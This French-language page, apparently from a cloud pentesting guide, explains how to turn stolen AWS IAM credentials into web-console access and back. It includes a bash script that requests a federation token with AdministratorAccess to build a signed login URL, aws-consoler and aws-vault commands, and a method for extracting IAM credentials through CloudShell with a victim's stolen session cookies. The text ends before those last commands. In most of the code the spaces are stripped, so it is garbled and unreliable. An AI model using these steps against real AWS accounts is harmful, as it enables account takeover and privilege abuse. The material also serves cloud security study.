Des informations d'identification IAM à la console
Si vous avez réussi à obtenir des informations d'identification IAM, vous pourriez être intéressé par l'accès à la console Web en utilisant les outils suivants.
Notez que l'utilisateur/le rôle doit avoir l'autorisation sts:GetFederationToken.
Script personnalisé
Le script suivant utilisera le profil par défaut et un emplacement AWS par défaut (pas gov et pas cn) pour vous donner une URL signée que vous pouvez utiliser pour vous connecter à la console Web :
# Get federated creds (you must indicate a policy or they won't have any perms)## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges## Don't forget to use [--profile <prof_name>] in the first line if you need tooutput=$(awsstsget-federation-token--nameconsoler--policy-arnsarn=arn:aws:iam::aws:policy/AdministratorAccess)if [ $? -ne0 ]; thenecho"The command 'aws sts get-federation-token --name consoler' failed with exit status $status"exit $statusfi# Parse the outputsession_id=$(echo $output |jq-r '.Credentials.AccessKeyId')session_key=$(echo $output |jq-r '.Credentials.SecretAccessKey')session_token=$(echo $output |jq-r '.Credentials.SessionToken')# Construct the JSON credentials stringjson_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")
# Define the AWS federation endpointfederation_endpoint="https://signin.aws.amazon.com/federation"# Make the HTTP request to get the sign-in tokenresp=$(curl-s "$federation_endpoint" \--get \--data-urlencode "Action=getSigninToken" \--data-urlencode "SessionDuration=43200" \--data-urlencode "Session=$json_creds")signin_token=$(echo-n $resp |jq-r '.SigninToken' |tr-d '\n' |jq-sRr@uri)# Give the URL to loginecho -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
cd/tmppython3-mvenvenvsource./env/bin/activatepipinstallaws-consoleraws_consoler [params...] #This will generate a link to login into the console
Assurez-vous que l'utilisateur IAM a l'autorisation sts:GetFederationToken, ou fournissez un rôle à assumer.
aws-vault
aws-vault est un outil pour stocker et accéder de manière sécurisée aux informations d'identification AWS dans un environnement de développement.
aws-vaultlistaws-vaultexecjonsmith--awss3ls# Execute aws cli with jonsmith credsaws-vaultloginjonsmith# Open a browser logged as jonsmith
Vous pouvez également utiliser aws-vault pour obtenir une session de console de navigateur
De la console aux identifiants IAM
Découvert à l'origine dans ce post, Si vous parvenez à compromettre l'accès à une console web (peut-être avez-vous volé des cookies et n'avez pas pu accéder au dossier .aws), vous pouvez obtenir des informations d'identification de jeton IAM pour cet utilisateur via CloudShell.
CloudShell expose les informations d'identification IAM via un point de terminaison non documenté sur le port 1338. Après avoir chargé les cookies de session de la victime dans votre navigateur, vous pouvez accéder à CloudShell et exécuter les commandes suivantes pour obtenir les informations d'identification IAM.